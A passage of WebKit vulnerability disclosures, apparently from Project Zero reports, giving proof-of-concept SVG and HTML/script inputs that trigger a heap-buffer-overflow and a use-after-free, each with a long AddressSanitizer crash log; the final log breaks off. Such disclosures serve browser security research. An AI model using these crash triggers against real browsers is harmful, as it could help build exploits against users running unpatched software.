SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839) in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const
Shadow bytes around the buggy address:
  0x1c0c000ac130: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac140: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac150: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
  0x1c0c000ac160: 00 00 01 fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac170: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x1c0c000ac180: 00 00 00 00 00 00 00 00 fa[fa]fa fa fd fd fd fd
  0x1c0c000ac190: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1a0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x1c0c000ac1b0: 00 00 00 00 00 00 00 00 fa fa fa fa fd fd fd fd
  0x1c0c000ac1c0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0c000ac1d0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30436==ABORTING
*/
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1350

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<svg stroke="url(#pattern)">
<pattern id="pattern" xlink:href="#filter">
</pattern>
<line x1="0" y1="0" x2="1" y2="1" />
<filter id="filter" height="0" />

/*
=================================================================

ASan log:

=================================================================
==30453==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200007e474 at pc 0x0001130a7153 bp 0x7fff5463b410 sp 0x7fff5463b408
READ of size 8 at 0x61200007e474 thread T0
==30453==WARNING: invalid path to external symbolizer!
==30453==WARNING: Failed to use and restart external symbolizer!
    #0 0x1130a7152 in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152)
    #1 0x112a5145a in WebCore::RenderSVGResourcePattern::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284345a)
    #2 0x112a52ec8 in WebCore::RenderSVGResourcePattern::applyResource(WebCore::RenderElement&, WebCore::RenderStyle const&, WebCore::GraphicsContext*&, WTF::OptionSet<WebCore::RenderSVGResourceMode>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2844ec8)
    #3 0x112a5ba15 in WebCore::RenderSVGShape::strokeShape(WebCore::RenderStyle const&, WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284da15)
    #4 0x112a5bd93 in WebCore::RenderSVGShape::strokeShape(WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284dd93)
    #5 0x112a5bf73 in WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284df73)
    #6 0x112a5c607 in WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284e607)
    #7 0x112a5808c in WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284a08c)
    #8 0x1129f2437 in WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27e4437)
    #9 0x11286144d in WebCore::RenderElement::paintAsInlineBlock(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x265344d)
    #10 0x1111dca7c in WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfcea7c)
    #11 0x1111eaf61 in WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfdcf61)
    #12 0x112bce3fb in WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29c03fb)
    #13 0x11296d30a in WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x275f30a)
    #14 0x11274fd8f in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541d8f)
    #15 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #16 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #17 0x1127504a7 in WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool, WebCore::RenderBlock::PaintBlockType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25424a7)
    #18 0x11274ffae in WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541fae)
    #19 0x11274fe87 in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541e87)
    #20 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #21 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #22 0x11290e9e6 in WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27009e6)
    #23 0x11290a93b in WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::GraphicsContext&, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc93b)
    #24 0x112905528 in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f7528)
    #25 0x1129029a2 in WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f49a2)
    #26 0x11290a5ef in WebCore::RenderLayer::paintList(WTF::Vector<WebCore::RenderLayer*, 0ul, WTF::CrashOnOverflow, 16ul>*, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc5ef)
    #27 0x1129055ba in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f75ba)
    #28 0x11293f3c6 in WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, WebCore::IntRect const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27313c6)
    #29 0x11293fb5f in WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2731b5f)
    #30 0x110e69212 in WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc5b212)
    #31 0x110e7d715 in WebCore::GraphicsLayerCA::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc6f715)
    #32 0x112690ca8 in WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow, 16ul>&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2482ca8)
    #33 0x1131ccb57 in WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fbeb57)
    #34 0x11345a2c7 in -[WebSimpleLayer drawInContext:] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324c2c7)
    #35 0x7fffdadc0891 in CABackingStoreUpdate_ (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13891)
    #36 0x7fffdaedf557 in invocation function for block in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x132557)
    #37 0x7fffdaedf06f in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13206f)
    #38 0x113459fbc in -[WebSimpleLayer display] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324bfbc)
    #39 0x7fffdaed3051 in CA::Layer::display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x126051)
    #40 0x7fffdaed317c in CA::Layer::layout_and_display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x12617c)
    #41 0x7fffdaec8933 in CA::Context::commit_transaction(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x11b933)
    #42 0x7fffdadbd7e0 in CA::Transaction::commit() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x107e0)
    #43 0x7fffdadbe1fb in CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x111fb)
    #44 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #45 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #46 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #47 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #48 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #49 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #50 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #51 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #52 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #53 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #54 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #55 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #56 0x10b5bf56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #57 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x61200007e474 is located 28 bytes to the right of 280-byte region [0x61200007e340,0x61200007e458)
allocated by thread T0 here:
    #0 0x10b626d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11ede4ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11ede2d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11ed69247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11ed6863a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x110354648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x113041e7d in WebCore::SVGFilterElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e33e7d)
    #8 0x112ff58a3 in WebCore::filterConstructor(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de78a3)
    #9 0x112ff294d in WebCore::SVGElementFactory::createElement(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de494d)
    #10 0x11099ad80 in WebCore::Document::createElement(WebCore::QualifiedName const&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78cd80)
    #11 0x110f1ed2d in WebCore::HTMLConstructionSite::createElement(WebCore::AtomicHTMLToken&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10d2d)
    #12 0x110f1eabe in WebCore::HTMLConstructionSite::insertForeignElement(WebCore::AtomicHTMLToken&&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10abe)
    #13 0x11108190a in WebCore::HTMLTreeBuilder::processTokenInForeignContent(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe7390a)
    #14 0x111080d07 in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d07)
    #15 0x110f49c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #16 0x110f49849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #17 0x110f489c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #18 0x110f4a4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #19 0x110928531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #20 0x110a6563d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #21 0x110a26736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #22 0x1104a2047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #23 0x11049adf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #24 0x112f72661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #25 0x10db2d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #26 0x10db306d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #27 0x10db2fbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #28 0x10d321117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #29 0x10d100695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152) in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const
Shadow bytes around the buggy address:
  0x1c240000fc30: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fc50: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x1c240000fc60: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c240000fc80: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa
  0x1c240000fc90: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcc0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30453==ABORTING
*/
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1351

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598
READ of size 8 at 0x608000077ec8 thread T0
==30588==WARNING: invalid path to external symbolizer!
==30588==WARNING: Failed to use and restart external symbolizer!
    #0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f)
    #1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef)
    #2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc)
    #3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
